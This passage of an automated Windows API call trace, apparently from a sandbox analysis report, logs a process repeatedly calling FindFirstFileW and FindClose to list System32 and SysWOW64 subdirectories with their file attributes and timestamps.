lpFileName="\\\\?\\C:\\Windows\\System32\\tr-TR\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1217b90, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x418cab6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x418cab6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.911] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.912] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\uk-UA\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1217b90, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x41b2c10, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x41b2c10, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.913] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.913] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\wbem\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.916] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.917] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\WCN\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e5555ab, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e5555ab, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.918] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.918] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\wdi\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1289f9e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1289f9e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1289f9e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.918] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.918] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\WindowsPowerShell\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.918] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\winrm\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.920] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.920] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\zh-CN\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1289f9e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x4460464, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x4460464, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.922] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.922] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\zh-HK\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1289f9e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x4460464, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x4460464, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.923] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.923] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\zh-TW\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1289f9e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x4460464, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x4460464, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.926] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.926] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\0409\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229791ec, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.926] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.927] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\AdvancedInstallers\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8cdedaf6, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8cdedaf6, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.927] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.927] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\ar-SA\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3986c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x248a328, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x248a328, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.928] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.928] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\bg-BG\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3986c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x24d65dc, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x24d65dc, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.929] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\catroot\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3986c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xe3986c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xc4c8bad2, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.929] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\catroot2\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f9c6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xe5f9c6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xc4c8bad2, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.930] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.930] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\com\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f9c6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.931] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.931] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\config\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a643d8, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a643d8, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xd2a1811a, ftLastWriteTime.dwHighDateTime=0x1ca0413, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="mtsadmin.tlb", cAlternateFileName="")) returned 0xffffffff [0071.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\Configuration\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a643d8, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a643d8, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xd2a1811a, ftLastWriteTime.dwHighDateTime=0x1ca0413, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="mtsadmin.tlb", cAlternateFileName="")) returned 0xffffffff [0071.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\cs-CZ\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8cc4abd3, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8cc4abd3, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.932] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.933] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\da-DK\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8fab5928, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8fab5928, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.934] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.935] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\de-DE\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2737b7c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2737b7c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.936] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.936] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\Dism\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf441e2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x12bfa720, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x12bfa720, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.937] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\drivers\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf441e2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e9ce759, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.938] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\DriverStore\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf441e2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e5555ab, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e5555ab, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.938] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.939] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\el-GR\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf441e2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x28424f2, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x28424f2, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.939] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.940] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\en\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.940] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.940] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\en-US\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x4965d8c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x4965d8c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.941] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\es-ES\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8c8b8acc, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8c8b8acc, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.942] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.943] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\et-EE\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x286864c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x286864c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.943] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.943] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\fi-FI\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x288e7a6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x288e7a6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.944] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.945] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\fr-FR\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x28daa5a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x28daa5a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.945] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.946] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\FxsTmp\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.946] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.946] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\GroupPolicy\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc74a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xfdc74a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9b71cdac, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.947] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.947] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\GroupPolicyUsers\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc74a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xfdc74a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9b71cdac, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.947] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.947] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\he-IL\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2926d0e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2926d0e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.948] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.948] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\hr-HR\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2926d0e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2926d0e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.949] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.949] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\hu-HU\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x294ce68, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x294ce68, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.949] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\icsxml\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, 